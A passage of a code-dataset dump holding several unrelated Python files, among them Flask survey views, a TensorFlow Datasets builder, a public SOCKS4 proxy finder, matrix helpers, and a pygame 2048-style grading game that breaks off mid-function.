if index_id in catalog_indexes:\n new_value = IndexesValueField()\n new_value.index = index_id\n new_value.index_title = index_title\n new_items.append(new_value)\n return tuple(new_items)\n\n\ndef setRegistryTabs(context):\n \"\"\"\n \"\"\"\n types_tool = getToolByName(context, 'portal_types')\n portal_types = types_tool.listContentTypes()\n new_tabs = []\n for tab in DEFAULT_TABS:\n tab_ptype = tab[0]\n tab_title = tab[1]\n if tab_ptype in portal_types:\n new_value = TabsValueField()\n new_value.tab_title = tab_title\n new_value.portal_types = (tab_ptype,)\n new_tabs.append(new_value)\n return tuple(new_tabs)\n","sub_path":"rer/sitesearch/setuphandlers.py","file_name":"setuphandlers.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"266248957","text":"from flask import (\n Blueprint,\n abort,\n flash,\n redirect,\n render_template,\n request,\n url_for,\n jsonify,\n send_from_directory,\n)\nfrom flask_login import current_user, login_required\nfrom flask_rq import get_queue\nfrom sqlalchemy.orm import with_polymorphic\n\nfrom app import db\nfrom app.answer.forms import *\nfrom app.decorators import admin_required, respondent_required\nfrom app.email import send_email\nfrom app.models import *\nfrom sqlalchemy import func\n\n\nanswer = Blueprint(\"answer\", __name__)\n\n\n@answer.route(\n \"////ca/add/\", methods=[\"GET\", \"POST\"]\n)\n@login_required\ndef add_custom_answer(project_id, question_id, question):\n custom_answer_poly = with_polymorphic(Answer, UAnswer)\n project = db.session.query(Project).filter_by(id=project_id).first()\n custom_question = UQuestion.query.filter_by(id=question_id).first()\n\n form = AddUAnswerForm()\n\n if request.method == \"POST\" and form.validate_on_submit():\n custom_answer = (\n db.session.query(custom_answer_poly)\n .filter(custom_answer_poly.UAnswer.u_questions_id == question_id)\n .filter(custom_answer_poly.UAnswer.user_no == form.user_no.data)\n .first()\n )\n if not custom_answer:\n uanswer = UAnswer(\n u_questions_id=custom_question.id,\n user_id=current_user.id,\n project_id=project_id,\n user_no=form.user_no.data,\n answer_option=form.option_one.data,\n )\n db.session.add(uanswer)\n db.session.commit()\n\n flash(\"Answer submitted.\", \"success\")\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n else:\n flash(\n \"Sorry, the questionaire number provided for this question already has an answer!\",\n \"error\",\n )\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n return render_template(\n \"answer/add_custom_answer.html\",\n u_question=custom_question,\n form=form,\n project_id=project_id,\n )\n\n\n@answer.route(\"///add/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef add_screener_answer(project_id, question_id):\n screener_answer_poly = with_polymorphic(Answer, ScreenerAnswer)\n screener_question = (\n db.session.query(ScreenerQuestion).filter_by(id=question_id).first()\n )\n\n form = AddScreenerAnswerForm()\n project = db.session.query(Project).filter_by(id=project_id).first()\n\n if request.method == \"POST\" and form.validate_on_submit():\n screener_answer = (\n db.session.query(screener_answer_poly)\n .filter(\n screener_answer_poly.ScreenerAnswer.screener_questions_id == question_id\n )\n .filter(screener_answer_poly.ScreenerAnswer.user_no == form.user_no.data)\n .first()\n )\n\n if not screener_answer:\n appt = ScreenerAnswer(\n answer_option_one=form.answer_option_one.data,\n screener_questions_id=screener_question.id,\n project_id=project_id,\n user_no=form.user_no.data,\n user_id=current_user.id,\n location_city=form.city.data,\n location_state=form.state.data,\n )\n db.session.add(appt)\n db.session.commit()\n flash(\"Answer submitted.\", \"success\")\n answer = (\n db.session.query(ScreenerAnswer)\n .filter_by(user_id=current_user.id)\n .filter(ScreenerAnswer.id == appt.id)\n .first()\n )\n else:\n flash(\n \"Sorry, the questionaire number provided for this question already has an answer!\",\n \"error\",\n )\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n\n if answer.answer_option_one == screener_question.required_answer:\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n else:\n flash(\n \"Sorry, you cannot proceed with answers project on this project. Choose another project\",\n \"success\",\n )\n return redirect(url_for(\"question.index\"))\n\n return render_template(\n \"answer/add_screener_answer.html\",\n question=screener_question,\n form=form,\n project_id=project_id,\n )\n\n\n@answer.route(\n \"////scl/add/\", methods=[\"GET\", \"POST\"]\n)\n@login_required\ndef add_scale_answer(project_id, question_id, question):\n scale_answer_poly = with_polymorphic(Answer, ScaleAnswer)\n\n project = db.session.query(Project).filter_by(id=project_id).first()\n\n scale_question = ScaleQuestion.query.filter_by(id=question_id).first()\n select_answer_form = ScaleQuestion.query.filter_by(id=question_id).first()\n\n if select_answer_form and (select_answer_form.options == \"5 Point Likert Scale\"):\n form = AddScaleAnswerForm()\n else:\n form = AddSemanticAnswerForm()\n\n if request.method == \"POST\" and form.validate_on_submit():\n scale_answer = (\n db.session.query(scale_answer_poly)\n .filter(scale_answer_poly.ScaleAnswer.scale_question_id == question_id)\n .filter(scale_answer_poly.ScaleAnswer.user_no == form.user_no.data)\n .first()\n )\n if not scale_answer:\n appt = ScaleAnswer(\n scale_question_id=scale_question.id,\n user_id=current_user.id,\n project_id=project_id,\n user_no=form.user_no.data,\n option=form.options.data,\n )\n db.session.add(appt)\n db.session.commit()\n\n flash(\"Answer submitted.\", \"success\")\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n else:\n flash(\n \"Sorry, the questionaire number provided for this question already has an answer!\",\n \"error\",\n )\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n return render_template(\n \"answer/add_scale_answer.html\",\n scale_question=scale_question,\n form=form,\n project_id=project_id,\n )\n\n\n@answer.route(\n \"////mcl/add/\", methods=[\"Get\", \"POST\"]\n)\n@login_required\ndef add_multiple_choice_answer(project_id, question_id, question):\n mcq_answer_poly = with_polymorphic(Answer, MultipleChoiceAnswer)\n project = db.session.query(Project).filter_by(id=project_id).first()\n question = LineItem.query.filter_by(project_id=project_id).all()\n\n multiple_choice_question = MultipleChoiceQuestion.query.filter_by(\n project_id=project_id\n ).first()\n\n form = AddMultipleChoiceAnswerForm()\n if request.method == \"POST\" and form.validate_on_submit():\n mcq_answer = (\n db.session.query(mcq_answer_poly)\n .filter(\n mcq_answer_poly.MultipleChoiceAnswer.multiple_choice_question_id\n == question_id\n )\n .filter(mcq_answer_poly.MultipleChoiceAnswer.user_no == form.user_no.data)\n .first()\n )\n if not mcq_answer:\n answer_options = request.form.getlist(\"mcq_answer\")\n answer_one = (\n multiple_choice_question.multiple_choice_option_one\n if multiple_choice_question.multiple_choice_option_one in answer_options\n else None\n )\n answer_two = (\n multiple_choice_question.multiple_choice_option_two\n if multiple_choice_question.multiple_choice_option_two in answer_options\n else None\n )\n answer_three = (\n multiple_choice_question.multiple_choice_option_three\n if multiple_choice_question.multiple_choice_option_three\n in answer_options\n else None\n )\n answer_four = (\n multiple_choice_question.multiple_choice_option_four\n if multiple_choice_question.multiple_choice_option_four\n in answer_options\n else None\n )\n\n answer_five = (\n multiple_choice_question.multiple_choice_option_five\n if multiple_choice_question.multiple_choice_option_five\n in answer_options\n else None\n )\n\n mcq = MultipleChoiceAnswer(\n multiple_choice_question_id=multiple_choice_question.id,\n multiple_choice_answer_one=answer_one,\n multiple_choice_answer_two=answer_two,\n multiple_choice_answer_three=answer_three,\n multiple_choice_answer_four=answer_four,\n multiple_choice_answer_five=answer_five,\n user_no=form.user_no.data,\n user_id=current_user.id,\n project_id=project.id,\n )\n db.session.add(mcq)\n db.session.commit()\n flash(\"Answer submitted.\", \"success\")\n return redirect(\n url_for(\n \"question.question_details\",\n project_id=project.id,\n name=project.name,\n )\n )\n else:\n flash(\n \"Sorry, the questionaire number provided for this question already has an answer!\",\n \"error\",\n )\n return redirect(\n url_for(\n \"project.project_questions\",\n project_id=project.id,\n name=project.name,\n )\n )\n return render_template(\n \"answer/add_multiple_choice_answer.html\",\n multiple_choice_question=multiple_choice_question,\n project_id=project_id,\n form=form,\n )\n","sub_path":"app/answer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"421426026","text":"from __future__ import print_function\nfrom __future__ import division\n\nimport json\nimport xml.etree.ElementTree as ET\n\n\nclass Artery(object):\n\n def __init__(self, edges):\n self.edges = edges\n \n def is_traversed(self, route):\n for edge in self.edges:\n if edge in route:\n return True\n return False\n\n\ndef get_arterial_vehicles(routefile, artery):\n tree = ET.parse(routefile)\n root = tree.getroot()\n\n arterial_vehicles = []\n\n for vehicle in root:\n if vehicle.tag != 'vehicle':\n continue\n [route] = list(vehicle)\n if artery.is_traversed(route.get('edges')):\n arterial_vehicles.append(vehicle.get('id'))\n\n return arterial_vehicles\n\n\ndef main():\n artery = Artery(['left0to0/0', '0/0to1/0', '1/0to2/0', '2/0to3/0', '3/0to4/0'])\n\n with open('files.json') as fp:\n routefiles = json.load(fp)\n\n for label, routefile in routefiles.items():\n vehicles = get_arterial_vehicles(routefile, artery)\n\n with open('{}-arterial.json'.format(label), 'w') as fp:\n json.dump(vehicles, fp, indent=4, sort_keys=True)\n\nif __name__ == '__main__':\n main()\n","sub_path":"utils/results/arterial.py","file_name":"arterial.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"381938497","text":"x =''\ndef get_next_target(x):\n\ty = x.find('a href=')\n\tgauche = x.find('\"', y)\n\tdroite = x.find('\"', gauche+1)\n\turl = x[gauche+1:droite]\n\treturn url,droite\ndef all_links(x):\n\twhile (True):\n\t\turl,endpos = get_next_target(x)\n\t\tif url:\n\t\t\tprint(url)\n\t\t\tx=x[endpos:]\n\t\telse:\n\t\t\tx=x[endpos:]\n\t\t\tbreak\n\treturn url\n\nf= open(\"links.txt\", \"a\")\nh= all_links(x)\nfor e in h:\n\tf.write(e + '\\n')\nf.close()\n\t\ninp= input(\"Saisissez votre lien:\")\t\t\ndef s_input(inp,y):\n\tfor e in y:\n\t\tif inp in e:\n\t\t\treturn e \nprint(s_input(inp,h))\n","sub_path":"rawinput.py","file_name":"rawinput.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"169246961","text":"import asyncio\nimport argparse\nfrom proxybroker import Broker\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nparser = argparse.ArgumentParser(description='Find Proxy Server')\nparser.add_argument('-n', '--n_results', type=int, default=100,\n help='number of proxy server')\n\nargs = parser.parse_args()\nnumber = args.n_results\n\nfilename = 'source/' + str(number) + '_socks4_proxies.txt'\n\n\nasync def save(proxies, filename):\n count = 0\n with open(filename, 'w') as f:\n while True:\n proxy = await proxies.get()\n if proxy is None:\n break\n # proto = 'socks4' if 'SOCKS4' in proxy.types\n row = '%s:%d \\n' % (proxy.host, proxy.port)\n f.write(row)\n count = count + 1\n print(count, row)\n\n\ndef main():\n proxies = asyncio.Queue()\n broker = Broker(proxies)\n tasks = asyncio.gather(broker.find(types=['SOCKS4'], limit=number),\n save(proxies, filename=filename))\n loop = asyncio.get_event_loop()\n loop.run_until_complete(tasks)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"get_socks4.py","file_name":"get_socks4.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"73795879","text":"# coding=utf-8\n# Copyright 2019 The TensorFlow Datasets Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"https://www.kaggle.com/c/diabetic-retinopathy-detection/data.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport csv\nimport os\n\nimport tensorflow as tf\nimport tensorflow_datasets.public_api as tfds\n\n\n_CITATION = \"\"\"\\\n@ONLINE {kaggle-diabetic-retinopathy,\n author = \"Kaggle and EyePacs\",\n title = \"Kaggle Diabetic Retinopathy Detection\",\n month = \"jul\",\n year = \"2015\",\n url = \"https://www.kaggle.com/c/diabetic-retinopathy-detection/data\"\n}\n\"\"\"\n\n\nclass DiabeticRetinopathyDetection(tfds.core.GeneratorBasedBuilder):\n \"\"\"Diabetic retinopathy detection.\"\"\"\n\n VERSION = tfds.core.Version(\"1.0.0\")\n\n def _info(self):\n return tfds.core.DatasetInfo(\n builder=self,\n description=\"A large set of high-resolution retina images taken under \"\n \"a variety of imaging conditions.\",\n features=tfds.features.FeaturesDict({\n \"name\": tfds.features.Text(), # patient ID + eye. eg: \"4_left\".\n \"image\": tfds.features.Image(),\n # From 0 (no DR - saine) to 4 (Proliferative DR). -1 means no label.\n \"label\": tfds.features.ClassLabel(num_classes=5),\n }),\n urls=[\"https://www.kaggle.com/c/diabetic-retinopathy-detection/data\"],\n citation=_CITATION,\n )\n\n def _split_generators(self, dl_manager):\n # TODO(pierrot): implement download using kaggle API.\n # TODO(pierrot): implement extraction of multiple files archives.\n path = dl_manager.manual_dir\n return [\n tfds.core.SplitGenerator(\n name=\"sample\", # 10 images, to do quicktests using dataset.\n num_shards=1,\n gen_kwargs={\n \"images_dir_path\": os.path.join(path, \"sample\"),\n },\n ),\n tfds.core.SplitGenerator(\n name=\"train\",\n num_shards=10,\n gen_kwargs={\n \"images_dir_path\": os.path.join(path, \"train\"),\n \"csv_path\": os.path.join(path, \"trainLabels.csv\"),\n },\n ),\n tfds.core.SplitGenerator(\n name=\"test\",\n num_shards=10,\n gen_kwargs={\n \"images_dir_path\": os.path.join(path, \"test\"),\n },\n ),\n ]\n\n def _generate_examples(self, images_dir_path, csv_path=None):\n \"\"\"Yields Example instances from given CSV.\n\n Args:\n images_dir_path: path to dir in which images are stored.\n csv_path: optional, path to csv file with two columns: name of image and\n label. If not provided, just scan image directory, don't set labels.\n \"\"\"\n if csv_path:\n with tf.io.gfile.GFile(csv_path) as csv_f:\n reader = csv.DictReader(csv_f)\n data = [(row[\"image\"], int(row[\"level\"])) for row in reader]\n else:\n data = [(fname[:-5], -1)\n for fname in tf.io.gfile.listdir(images_dir_path)\n if fname.endswith(\".jpeg\")]\n for name, label in data:\n yield {\n \"name\": name,\n \"image\": \"%s/%s.jpeg\" % (images_dir_path, name),\n \"label\": label,\n }\n","sub_path":"tensorflow_datasets/image/diabetic_retinopathy_detection.py","file_name":"diabetic_retinopathy_detection.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"383533366","text":"from openff import ForceField\nforce_field = ForceField('openff-1.0.0.offxml')\n\n# Extract the smiles of all unique components in our data set.\nfrom openff.topology import Molecule, Topology\n\nall_smiles = set(\n component.smiles\n for substance in data_set.substances\n for component in substance.components\n)\n\nfor smiles in all_smiles:\n\n # Find those VdW parameters which would be applied to those components.\n molecule = Molecule.from_smiles(smiles)\n topology = Topology.from_molecules([molecule])\n\n labels = force_field.label_molecules(topology)[0]\n\n # Tag the exercised parameters as to be optimized.\n for parameter in labels[\"vdW\"].values():\n parameter.add_cosmetic_attribute(\"parameterize\", \"epsilon, rmin_half\")\n\n# Save the annotated force field file.\nforce_field.to_file('forcefield/openff-1.0.0-tagged.offxml')\n","sub_path":"tutorials/tutorial4.2.py","file_name":"tutorial4.2.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"22234556","text":"from setuptools import setup, find_packages\nfrom io import open\nfrom os import path\nimport pathlib\n\n# The directory containing this file\nHERE = pathlib.Path(__file__).parent\n# The text of the README file\nwith open(path.join(HERE, \"README.md\")) as f:\n README = f.read()\n\n# automatically captured required modules for install_requires in requirements.txt and as well as configure dependency links\nwith open(path.join(HERE, \"requirements.txt\"), encoding=\"utf-8\") as f:\n all_reqs = f.read().split(\"\\n\")\ninstall_requires = [\n x.strip()\n for x in all_reqs\n if (\"git+\" not in x) and (not x.startswith(\"#\")) and (not x.startswith(\"-\"))\n]\ndependency_links = [x.strip().replace(\"git+\", \"\") for x in all_reqs if \"git+\" not in x]\n\nsetup(\n name=\"warp\",\n description=\"Transpile EVM-Compatible Languages To Cairo\",\n version=\"0.1.0\",\n package_dir={\"\": \"warp\"},\n packages=[\n \"cairo-src\",\n \"cairo-src.evm\",\n \"cli\",\n \"cli.compilation\",\n \"transpiler\",\n \"transpiler.Operations\",\n \"yul\",\n ], # list of all packages\n include_package_data=True,\n package_data={\"\": [\"*.json\", \"*.cairo\"]},\n install_requires=install_requires,\n python_requires=\">=3.7\", # any python greater than 3.7\n entry_points=\"\"\"\n [console_scripts]\n warp=cli.warp_cli:main\n \"\"\",\n author=\"Nethermind\",\n keyword=\"Ethereum, Layer2, ETH, StarkNet, Nethermind, StarkWare, transpilation, warp, transpiler, cairo\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n license=\"Apache 2.0\",\n url=\"https://github.com/NethermindEth/warp\",\n download_url=\"\",\n dependency_links=dependency_links,\n author_email=\"hello@nethermind.io\",\n classifiers=[\n \"License :: OSI Approved :: Apache 2.0 License\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"207096281","text":"import zipfile, re # khai bao thu vien\n\nf = zipfile.ZipFile(\"channel.zip\")\nso = 90052 # la file dau tien khi doc readme\ncomments = [] # list chua cac comment\ndunglai = 0\nwhile dunglai == 0:\n\n\tfile = f.read(\"%s.txt\"%so) # doc file\n\tcomments.append(f.getinfo(\"%s.txt\"%so).comment) # lay comment trong file qua vi tri cua file getinfo\n\tsotiep = re.findall('[0-9]+', file) # tim file tiep theo phai mo\n\t\n\tif sotiep:\n\t\tso = sotiep[-1]\n\telse:\n\t\tdunglai += 1\nprint(\"\".join(comments)) #in ra list comment\n\n","sub_path":"task10/giaipython6.py","file_name":"giaipython6.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"259876725","text":"# -*- coding: utf-8 -*-\n\"\"\"General Matrix functions.\n\nMatrices are laid out in row-major format and can be loaded directly\ninto OpenGL.\nTo convert to column-major format, transpose the array using the\nnumpy.array.T method.\n\"\"\"\nimport numpy\n\n\ndef apply_direction_scale( vectors, direction, scale ):\n \"\"\"Applies a directional scaling to a set of vectors.\n\n An example usage for this is to flatten a mesh against a\n single plane.\n\n Direction MUST be normalised prior to this call.\n\n :param numpy.array vectors: a 2d numpy array of vectors:\n ::\n\n numpy.array([\n [x,y,z],\n [x,y,z]\n ])\n\n :param numpy.array direction: a 1d numpy array of the direction to scale:\n ::\n \n numpy.array([ x,y,z ])\n\n :param numpy.array scale: a float value for the scaling. A scale of 0.0\n will flatten the vertices. \n :rtype: numpy.array\n :return: The vectors flattend in the specified direction.\n The array will be in the shape of the input parameter vectors.\n \"\"\"\n \"\"\"\n scaling is defined as:\n \n [p'][1 + (k - 1)n.x^2, (k - 1)n.x n.y^2, (k - 1)n.x n.z ]\n S(n,k) = [q'][(k - 1)n.x n.y, 1 + (k - 1)n.y, (k - 1)n.y n.z ]\n [r'][(k - 1)n.x n.z, (k - 1)n.y n.z, 1 + (k - 1)n.z^2 ]\n \n where:\n v' is the resulting vector after scaling\n v is the vector to scale\n n is the direction of the scaling\n n.x is the x component of n\n n.y is the y component of n\n n.z is the z component of n\n k is the scaling factor\n \"\"\"\n scaleMinus1 = scale - 1\n matrix = numpy.array(\n [\n # m1\n [\n # m11 = 1 + (k - 1)n.x^2\n 1 + scaleMinus1 * (direction[ 0 ]**2),\n # m12 = (k - 1)n.x n.y^2\n scaleMinus1 * direction[ 0 ] * direction[ 1 ]**2,\n # m13 = (k - 1)n.x n.z\n scaleMinus1 * direction[ 0 ] * direction[ 2 ]\n ],\n # m2\n [\n # m21 = (k - 1)n.x n.y\n scaleMinus1 * direction[ 0 ] * direction[ 1 ],\n # m22 = 1 + (k - 1)n.y\n 1 + scaleMinus1 * direction[ 1 ],\n # m23 = (k - 1)n.y n.z\n scaleMinus1 * direction[ 1 ] * direction[ 2 ]\n ],\n # m3\n [\n # m31 = (k - 1)n.x n.z\n scaleMinus1 * direction[ 0 ] * direction[ 2 ],\n # m32 = (k - 1)n.y n.z\n scaleMinus1 * direction[ 1 ] * direction[ 2 ],\n # m33 = 1 + (k - 1)n.z^2\n 1 + scaleMinus1 * direction[ 2 ]**2\n ]\n ],\n dtype = numpy.float\n )\n \n return numpy.dot( vectors, matrix )\n\ndef apply_scale( vectors, scale ):\n \"\"\"Applies a 3 dimensional scale to a set of vectors.\n\n :param numpy.array vectors: A 2D numpy array of vectors:\n ::\n\n numpy.array([\n [x,y,z],\n [x,y,z]\n ])\n\n :param numpy.array scale: The scale vector to apply.\n Can be a 1x3 array, list or tuple\n :rtype: numpy.array\n :return: The vectors scaled by the scaling vector.\n \"\"\"\n # create a scaling matrix\n matrix = numpy.array([\n [ scale[ 0 ], 0.0, 0.0 ],\n [ 0.0, scale[ 1 ], 0.0 ],\n [ 0.0, 0.0, scale[ 2 ] ]\n ])\n return numpy.dot( vectors, matrix )\n\n","sub_path":"pyrr/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"401767141","text":"# 2048 Game written using the Pygame module\n# \n# Lewis Deane\n# 23/12/2014\n\nimport pygame, sys, time\nfrom pygame.locals import *\nfrom colours import *\nfrom random import *\n\n\nScore = \"D+\"\nDEFAULT_SCORE = 2\n\npygame.init()\n\nSURFACE = pygame.display.set_mode((500, 500), 0, 32)\npygame.display.set_caption(\"2048\")\n\nmyfont = pygame.font.SysFont(\"comicsans\", 30)\nscorefont = pygame.font.SysFont(\"comicsans\", 50)\n\nbackground = [[-1]*4 for i in range(4)]\nundoMat = []\n\n\ndef main(fromLoaded = False):\n if not fromLoaded:\n new_block()\n new_block()\n\n printground()\n\n while True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n if checkIfCanGo() == True:\n if event.type == KEYDOWN:\n combine_block(event.key)\n\n new_block()\n new_block()\n printground()\n else:\n printGameOver()\n\n if event.type == KEYDOWN:\n\n if event.key == pygame.K_r:\n reset()\n\n if event.key == pygame.K_s:\n saveGameState()\n elif event.key == pygame.K_l:\n loadGameState()\n elif event.key == pygame.K_u:\n undo()\n\n pygame.display.update()\n\n\nclass Block:\n def __init__(self):\n self.x = 0\n self.y = 0\n\n def move(self):\n SURFACE.blit(pygame.transform.scale(self.image, (87, 87)), (self.x, self.y))\n\nclass D_plus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"D+.PNG\")\n\nclass C_plus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"C+.PNG\")\n\nclass C_zero(Block):\n def __init__(self):\n self.image = pygame.image.load(\"C0.PNG\")\n\nclass C_minus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"C-.PNG\")\n\nclass B_plus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"B+.PNG\")\n\nclass B_zero(Block):\n def __init__(self):\n self.image = pygame.image.load(\"B0.PNG\")\n\nclass B_minus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"B-.PNG\")\n\nclass A_plus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"A+.PNG\")\n\nclass A_zero(Block):\n def __init__(self):\n self.image = pygame.image.load(\"A0.PNG\")\n\nclass A_minus(Block):\n def __init__(self):\n self.image = pygame.image.load(\"A-.PNG\")\n\ndef new_block(): #두 번씩 실행해야 함.\n global background\n\n random_x1 = randint(0, 3)\n random_y1 = randint(0, 3)\n if background[random_x1][random_y1] == -1:\n print(random_x1, random_y1)\n background[random_x1][random_y1] = 0\n\n\ndef combine_block(key):\n global background\n\n blank = []\n logic = []\n if key == pygame.K_UP:\n for i in range(0, 4):\n for j in range(0, 4):\n logic.append(background[i][j])\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(0, len(logic)-1):\n if logic[j] == logic[j+1]:\n logic[j] += 1\n logic[j+1] = -1\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(0, len(logic)):\n background[i][j] = logic[j]\n for j in range(len(logic), 4):\n background[i][j] = -1\n\n logic = []\n\n elif key == pygame.K_RIGHT:\n flag = 0\n for i in range(0, 4):\n for j in range(3, -1, -1):\n logic.append(background[j][i])\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(0, len(logic)-1):\n if logic[j] == logic[j+1]:\n logic[j] += 1\n logic[j+1] = -1\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(3, 3-len(logic), -1):\n background[j][i] = logic[flag]\n flag += 1\n for j in range(3-len(logic), -1, -1):\n background[j][i] = -1\n flag = 0\n\n logic = []\n\n elif key == pygame.K_DOWN:\n flag = 0\n for i in range(0, 4):\n for j in range(3, -1, -1):\n logic.append(background[i][j])\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(0, len(logic)-1):\n if logic[j] == logic[j+1]:\n logic[j] += 1\n logic[j+1] = -1\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(3, 3-len(logic), -1):\n background[i][j] = logic[flag]\n flag += 1\n for j in range(3-len(logic), -1, -1):\n background[i][j] = -1\n flag = 0\n\n logic = []\n\n elif key == pygame.K_LEFT:\n for i in range(0, 4):\n for j in range(0, 4):\n logic.append(background[j][i])\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n for j in range(0, len(logic)-1):\n if logic[j] == logic[j+1]:\n logic[j] += 1\n logic[j+1] = -1\n\n while -1 in logic:\n del logic[logic.index(-1)]\n\n print(len(logic))\n\n for j in range(0, len(logic)):\n background[j][i] = logic[j]\n for j in range(len(logic), 4):\n background[j][i] = -1\n logic = []\n\n\ndef printground():\n SURFACE.fill((240, 240, 206))\n board = pygame.Rect(50, 50, 400, 400)\n color = (186, 173, 160)\n pygame.draw.rect(SURFACE, color, board)\n\n global Score\n\n max = 0\n for i in range(0, 4):\n for j in range(0, 4):\n if background[i][j] == 0:\n block = D_plus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n elif background[i][j] == 1:\n block = C_minus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 1:\n max = 1\n Score = \"C-\"\n elif background[i][j] == 2:\n block = C_zero()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 2:\n max = 2\n Score = \"C0\"\n elif background[i][j] == 3:\n block = C_plus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 3:\n max = 3\n Score = \"C+\"\n elif background[i][j] == 4:\n block = B_minus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 4:\n max = 4\n Score = \"B-\"\n elif background[i][j] == 5:\n block = B_zero()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 5:\n max = 5\n Score = \"B0\"\n elif background[i][j] == 6:\n block = B_plus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 6:\n max = 6\n Score = \"B+\"\n elif background[i][j] == 7:\n block = A_minus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 7:\n max = 7\n Score = \"A-\"\n elif background[i][j] == 8:\n block = A_zero()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 8:\n max = 8\n Score = \"A0\"\n elif background[i][j] == 9:\n block = A_plus()\n block.x = 60 + i * 87 + 10 * i\n block.y = 60 + j * 87 + 10 * j\n block.move()\n if max < 9:\n max = 9\n Score = \"A+\"\n else:\n pygame.draw.rect(SURFACE, (120,110,101), (60 + i * 87 + 10 * i, 60 + j * 87 + 10 * j, 87, 87))\n\n label = scorefont.render(\"Grade:\" + Score, 1, BLACK)\n\n SURFACE.blit(label, (10, 10))\n\n\ndef printGameOver():\n global Score\n\n SURFACE.fill(BLACK)\n\n label = scorefont.render(\"Semester is finished\", 1, (255, 255, 255))\n label2 = scorefont.render(\"Final Grade:\" + Score, 1, (255, 255, 255))\n label3 = myfont.render(\"press r to restart!\", 1, (255, 255, 255))\n\n SURFACE.blit(label, (50, 100))\n SURFACE.blit(label2, (50, 200))\n SURFACE.blit(label3, (50, 300))\n\n\n\ndef floor(n):\n return int(n - (n % 1))\n\n\n\ndef checkIfCanGo():\n for i in range(0, 4 ** 2):\n if background[floor(i / 4)][i % 4] == 0:\n return True\n\n for i in range(0, 4):\n for j in range(0, 4 - 1):\n if background[i][j] == background[i][j + 1]:\n return True\n elif background[j][i] == background[j + 1][i]:\n return True\n return False\n\n\ndef reset():\n global Score\n global background\n\n Score = \"D+\"\n SURFACE.fill(BLACK)\n\n background = [[0 for i in range(0, 4)] for j in range(0, 